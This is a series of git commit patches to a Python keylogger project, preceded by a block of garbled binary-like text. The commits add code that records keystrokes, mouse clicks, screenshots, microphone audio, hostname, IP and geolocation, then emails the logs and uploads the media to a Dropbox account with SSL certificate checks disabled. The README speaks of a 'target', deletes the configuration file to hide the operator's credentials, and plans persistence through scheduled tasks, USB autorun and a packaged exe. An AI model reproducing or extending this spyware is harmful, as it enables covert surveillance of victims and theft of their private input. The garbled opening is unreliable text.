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 Date: Sat, 20 Apr 2024 09:50:23 +0200 Subject: [PATCH 16/24] gitignore modified --- .gitignore | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 8ac92a9..44d4cef 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,5 @@ .env +backup.env .wav -.png \ No newline at end of file +.png +test.py \ No newline at end of file From 3bc1698abf802349c3a18499dd7610f869778865 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Wed, 2 Oct 2024 22:37:18 +0200 Subject: [PATCH 17/24] Added numpy to requirements.txt --- requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 39a0f3e..eb7bcdd 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,4 +2,5 @@ pynput pyscreenshot sounddevice pillow -geocoder \ No newline at end of file +geocoder +numpy \ No newline at end of file From 6286bfcdc61bb455c537f65e508415592f5d4207 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 19 Oct 2024 14:35:10 +0200 Subject: [PATCH 18/24] Added Dropbox service to upload images and audio files --- .gitignore | 4 +- README.md | 38 ++++++----------- __pycache__/keylogger.cpython-311.pyc | Bin 9156 -> 10585 bytes __pycache__/utils.cpython-311.pyc | Bin 4038 -> 4778 bytes keylogger.py | 56 +++++++++++++++++++------- main.py | 23 ++++++----- requirements.txt | 10 +++-- utils.py | 9 +++++ 8 files changed, 86 insertions(+), 54 deletions(-) diff --git a/.gitignore b/.gitignore index 44d4cef..f7bbcb7 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,6 @@ backup.env .wav .png -test.py \ No newline at end of file +test.py +steps.txt +execute_main.ps1 \ No newline at end of file diff --git a/README.md b/README.md index 6002406..c553ade 100644 --- a/README.md +++ b/README.md @@ -1,30 +1,13 @@ # Program objectives -This is a keylogger, use it for testing purposes only. +This is a KeyLogger, use it for testing purposes only. You will gather keyboard strokes, mouse movements, screenshots and microphone input. -All the collected info will be sent via email every defined time interval. +All the collected keyboard strokes and mouse clicks info will be sent via email every defined time interval. +All the collected images and audio files will be sent via Dropbox integration to the defined Dropbox account. ## Program phases ### Imports -from dotenv import load_dotenv -from utils import ( - send_mail_with_attachment, - get_wav_and_png_files, - delete_wav_and_png_files, -) -- **smtplib**: Provides an SMTP client session to send emails. -- **os**: Provides a way of using operating system-dependent functionality. -- **platform**: Provides an interface to various services that interact with the operating system. -- **socket**: Provides access to the underlying operating system's socket services. -- **time**: Used for both sleeping the program and get timestamp. -- **wave**: Used for reading and writing WAV files. -- **pyscreenshot**: Captures screenshots. -- **sounddevice**: Provides an interface to play and record audio. -- **pynput**: Library for monitoring input devices. -- **load_dotenv**: Get environment variables. -- **utils**: Some custom functions. - Note: to install everything you need you should run ```python pip install -r requirements.txt @@ -32,9 +15,10 @@ pip install -r requirements.txt ### Configuration -Defines email details for sending logs. +Define email details for sending logs. For this project, I created an email account using [mailtrap](https://mailtrap.io). -Specifies the interval for sending reports (SEND_REPORT_EVERY) and some other variables. +Create and use API key for Dropbox service. +Specify the interval for sending reports (SEND_REPORT_EVERY) and some other variables. ### KeyLogger Class @@ -42,17 +26,18 @@ Specifies the interval for sending reports (SEND_REPORT_EVERY) and some other va - Collects system geo-location - Monitors keyboard strokes. - Records mouse movements, clicks, and scrolls - but only log clicks to reduce the quantity of logs. -- Take screenshots. +- Take screenshots at every click. - Capture microphone input. - Saves the logged data to a string (self.log). -- Sends email reports with logged data and attachments. +- Sends email reports with logged data. +- Upload image and audio files to Dropbox. - Clean the data. -- The run method starts the keylogger by setting up keyboard, mouse, screenshot and microphone listeners. +- The run method starts the KeyLogger by setting up keyboard, mouse, screenshot and microphone listeners. ### Execution Creates an instance of the KeyLogger class with the needed variables. -Calls the run method to start the keylogger. +Calls the run method to start the KeyLogger. The first action, based on the operating system, deletes the .env file. In this way, the target cannot see your sensitive data. Write the magic word (if set) to break the loop. @@ -60,3 +45,4 @@ Write the magic word (if set) to break the loop. - Add an optional parameter to copy the Python script somewhere and creates a scheduled task to execute it - Create a USB key that runs upon it's plugged in a PC - Improve the remove_env_file function to remove the .env file only when somebody tries to check the file content +- Add the Dropbox token renewal, otherwise it will last for 4 hours diff --git a/__pycache__/keylogger.cpython-311.pyc b/__pycache__/keylogger.cpython-311.pyc index a01b6952563219a76d94e84d35a5e82376670594..fe1b31f203dd74c81d89865ae56793424a91055f 100644 GIT binary patch delta 3832 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 D*<^2w delta 2528 zcmbVNU2IfE6rQ=e_wL=FySv?PyUWsUmu_3SU@6F-5~)EHB0mMG5?wK+^j_M9{d4YZ zp-5;=Fe#-8>O2qv8e$MbNK8z9B0liIBav;=hk6qt36aFa=n}vOUi6&Vc3X^w#F@L_ z%sF%BoHKLIoc(Fvt?i@VXqtyWyKw7IW3rx*`$)_;=iKDcI84qHo#-@6(v^{>si38_ zBt}QtAx3A~DMmRhi&06t#HglK7^SQ`=Sh2V-n5sZp1qE&FQ=uooImZ)1=4|BFdd{s zBHM}XJWX`@szk_j_*GiEMyEX_rTmIycS^F=qsGXgLLbv@Iae4mjg*te=m-2O=LGfe zX;+y3z+aOGcd92zuWL>RIq3#Uou_mPl)Fk1pu~M3M@PzAU6X+Fafgzk8t+gJ@=HqB zZjbFWjqG7tvoblOH4@nN!YF-PZ3?de>JeT5*iwjF8+WoeA9XLG+xP|dT7IrE#1+pA zVal38CZz~PtQF?0jqmexwl~1kRtx#w{%ofI=!wuyV`NuhV8CFj=6M@H!raKOdD{5T zo;q;sFSTV=0yVS%q~ygafniJfarljxG7#c!z|*(fN$)1y(vA?Hdg570=?cEgw^>_) z9N`?Ck{|WOX#=0|CF!gDTi+degP+pQNLC%cnT&F`zhwhtOcwpq6CH^|BZ+NmSFc{3 z@;)zOyx+gB%gfNE=ZS)dEfq{#88EE=V>(lSf$`!ce;8c*#h+Am1Iz5^{=m!byU~v6 zXy;6{lkW($!rl18OQb=<&juP=F*T1+5Ebnr`9iu1)b%Qd5=$n$5US&MgV9lk$K!!G zZv$b5DPqe-NDb>671wLxE(kd;D9k7pm~|q!5UL920IZs;0mjIz>O1G3@RuShE<3NN zFu*shuAEU1ZvKNU~zcW#8HB};=Fk8RZnyjQ84`9N#R zB^+ZBbi&1k@_9&Ict2L5$fCewB9iz{*_#0KF7x5qCgmV9PV$Sjx$s>zF|9VwsLiGM z4-yuxjo#yZ(WTs*2u}5czo#By+SPqR^YBgeX(^@hEj4xg>-r7r7iF@o4i-!+-x19=2itE!>Z#=rGro{zl_dPnWKfpw4v0 z^_s=*N{3CB<5%J6RQ{X;cOqLO|&_1Q8`ohQjUk_&L=FO;|(#h0f23J}lqpLugEk}3} zL1a}u!(z_fLog7~maXo}n3j<@7~70Ik#n+X^)ZVtS`uqwH94* z5a~|U@TZQ}(MD8)!KxfdxFpUcTox}`*cHYW&L=z+zMjRsSVZ9g0^sXr_?IF8|8L9( z0Atl&mZEZ`Oy7b+7ca-97TaSP+fAeOsWv_%3Wnr zg&21&e`8emgRZ1PY%6-ygRmDtq-X(W9|PE4voMs`bz?ZwZ?GX`V;QoQ;z+(YWQkyk zh}rUxmC2fw5{wU%iAo`2FV4L99!3dys=ksd=tEhfi+v8#SpUrX0A&ZIbe6csM4u&r zG0|sW%Bmze<&FIWI340}veS6;8M0n#d=?STIpNi<`TJA&M`BF_=My)XxcD59XkfS@s`i0_mDLhV)OT>+6%m`_KHX=M&r+c!k_)Am zNUzAeC}MF%#G-@qhP3I7iVM=FK(s;=LSNvJc*-j{L32jPMP8*Vyh9iF7As>ggC_UJIX8HjH2Eew2o@@?WGFHK qDl5_h62CZXa`RJ4b5iY!e1Tj>ATHiB`MTgXJ_Zg(g%2PCtQY{grWcn0 diff --git a/keylogger.py b/keylogger.py index 4209cd3..5e20b7a 100644 --- a/keylogger.py +++ b/keylogger.py @@ -1,20 +1,35 @@ +from pynput import keyboard, mouse +from requests.adapters import HTTPAdapter +import dropbox +import geocoder import os import platform +import pyscreenshot import socket +import sounddevice as sd +import ssl import time import wave -import pyscreenshot -import sounddevice as sd -import geocoder -from pynput import keyboard, mouse + from utils import ( send_mail_with_attachment, get_wav_and_png_files, delete_wav_and_png_files, remove_env_file, + upload_to_dropbox, ) +class SSLAdapter(HTTPAdapter): + # Avoid SSL certificate verification + def init_poolmanager(self, *args, **kwargs): + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + kwargs["ssl_context"] = context + return super(SSLAdapter, self).init_poolmanager(*args, **kwargs) + + class KeyLogger: def __init__( self, @@ -27,6 +42,7 @@ def __init__( email_receiver, cc, magic_word, + dropbox_token, ): self.interval = time_interval self.smtp_server = smtp_server @@ -35,6 +51,7 @@ def __init__( self.email_password = email_password self.email_sender = email_sender self.email_receiver = email_receiver + self.dropbox_token = dropbox_token self.cc = cc self.magic_word = magic_word self.log = "KeyLogger Started...\n" @@ -51,15 +68,16 @@ def on_move(self, x, y): # self.appendlog(current_move) pass # do nothing - def on_click(self, x, y, button, pressed): - current_click = f"\nMouse click at {x} {y} with button {button}" - self.appendlog(current_click) - def on_scroll(self, x, y, dx, dy): # current_scroll = f"\nMouse scrolled at {x} {y} with scroll distance {dx} {dy}" # self.appendlog(current_scroll) pass # do nothing + def on_click(self, x, y, button, pressed): + current_click = f"\nMouse click at {x} {y} with button {button}" + self.screenshot() + self.appendlog(current_click) + def save_data(self, key): try: current_key = str(key.char) @@ -84,13 +102,23 @@ def send_mail(self, message): email_receiver=self.email_receiver, cc=self.cc, path_to_attachment=os.getcwd(), - attachments=get_wav_and_png_files(), - subject="Test keylogged - by F3000", + attachments=[], + subject="Test KeyLogger - by F3000", body=message, ) def report(self): - self.send_mail(f"\n\n\n{self.log}") + self.send_mail(f"{self.log}") + wav_and_png_files = get_wav_and_png_files() + + dbx = dropbox.Dropbox(self.dropbox_token) + session = dbx._session + session.mount("https://", SSLAdapter()) + + upload_to_dropbox(socket.gethostname(), dbx, wav_and_png_files) + + delete_wav_and_png_files() + print(self.log) def cleanup(self): @@ -100,7 +128,6 @@ def cleanup(self): if self.mouse_listener and self.mouse_listener.running: self.mouse_listener.stop() self.word = "" - delete_wav_and_png_files() def system_information(self): hostname = socket.gethostname() @@ -108,12 +135,13 @@ def system_information(self): processor = platform.processor() system = platform.system() machine = platform.machine() - self.appendlog("\nSystem info:") + self.appendlog("System info:") self.appendlog(f"\nHostname = {hostname}") self.appendlog(f"\nIP = {ip}") self.appendlog(f"\nProcessor = {processor}") self.appendlog(f"\nSystem OS = {system}") self.appendlog(f"\nMachine architecture = {machine}") + self.appendlog("\n\n\n") def get_location(self): location = geocoder.ip("me") @@ -168,7 +196,7 @@ def run(self): ) self.mouse_listener.start() - self.screenshot() + # self.screenshot() self.microphone() time.sleep(self.interval) diff --git a/main.py b/main.py index 8e7e6da..ac332f5 100644 --- a/main.py +++ b/main.py @@ -11,21 +11,24 @@ EMAIL_SENDER = os.getenv("EMAIL_SENDER") EMAIL_RECEIVER = os.getenv("EMAIL_RECEIVER") EMAIL_CC = os.getenv("EMAIL_CC") -SEND_REPORT_EVERY = 15 # seconds +DROPBOX_TOKEN = os.getenv("DROPBOX_TOKEN") + +SEND_REPORT_EVERY = 5 # seconds MAGIC_WORD = "STOP" def main(): keylogger = KeyLogger( - SEND_REPORT_EVERY, - SMTP_SERVER, - SMTP_PORT, - EMAIL_ADDRESS, - EMAIL_PASSWORD, - EMAIL_SENDER, - EMAIL_RECEIVER, - EMAIL_CC, - MAGIC_WORD, + time_interval=SEND_REPORT_EVERY, + smtp_server=SMTP_SERVER, + smtp_port=SMTP_PORT, + email_address=EMAIL_ADDRESS, + email_password=EMAIL_PASSWORD, + email_sender=EMAIL_SENDER, + email_receiver=EMAIL_RECEIVER, + cc=EMAIL_CC, + magic_word=MAGIC_WORD, + dropbox_token=DROPBOX_TOKEN, ) keylogger.run() diff --git a/requirements.txt b/requirements.txt index eb7bcdd..778401b 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,10 @@ +dropbox +geocoder +numpy +pillow +poolmanager pynput pyscreenshot +requests sounddevice -pillow -geocoder -numpy \ No newline at end of file +urllib3 \ No newline at end of file diff --git a/utils.py b/utils.py index 9cb1186..61c7c1e 100644 --- a/utils.py +++ b/utils.py @@ -77,3 +77,12 @@ def remove_env_file(): env_file = os.path.join(os.getcwd(), ".env") if os.path.exists(env_file): os.remove(env_file) + + +def upload_to_dropbox(hostname, dbx, wav_and_png_files): + for file_name in wav_and_png_files: + file_path = os.path.join(os.getcwd(), file_name) + destination_path = f"/{hostname}_{file_name}" + + with open(file_path, "rb") as f: + dbx.files_upload(f.read(), destination_path) From 7c2260b8d8b207cad80edaa02e9898ae116fa181 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 19 Oct 2024 18:10:53 +0200 Subject: [PATCH 19/24] Added specific folder where to save the exe file and all the audio and image files --- .gitignore | 11 ++++-- README.md | 6 +++ __pycache__/keylogger.cpython-311.pyc | Bin 10585 -> 0 bytes __pycache__/utils.cpython-311.pyc | Bin 4778 -> 0 bytes keylogger.py | 29 ++++++++++---- main.py | 11 +++++- requirements.txt | 1 + utils.py | 53 ++++++++++++++++++++------ 8 files changed, 87 insertions(+), 24 deletions(-) delete mode 100644 __pycache__/keylogger.cpython-311.pyc delete mode 100644 __pycache__/utils.cpython-311.pyc diff --git a/.gitignore b/.gitignore index f7bbcb7..548e39e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,10 @@ .env -backup.env -.wav .png -test.py +.wav +backup.env +build +dist +execute_main.ps1 +main.spec steps.txt -execute_main.ps1 \ No newline at end of file +test.py \ No newline at end of file diff --git a/README.md b/README.md index c553ade..03dd306 100644 --- a/README.md +++ b/README.md @@ -41,7 +41,13 @@ Calls the run method to start the KeyLogger. The first action, based on the operating system, deletes the .env file. In this way, the target cannot see your sensitive data. Write the magic word (if set) to break the loop. +### Single EXE file version + +If you need to run the code within a PC that has no Python installed, you can use the module pyinstaller (inserted in the reuirements file) as follows: +- pyinstaller --onefile --add-data ".env;." main.py + ### TODO + - Add an optional parameter to copy the Python script somewhere and creates a scheduled task to execute it - Create a USB key that runs upon it's plugged in a PC - Improve the remove_env_file function to remove the .env file only when somebody tries to check the file content diff --git a/__pycache__/keylogger.cpython-311.pyc b/__pycache__/keylogger.cpython-311.pyc deleted file mode 100644 index fe1b31f203dd74c81d89865ae56793424a91055f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10585 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 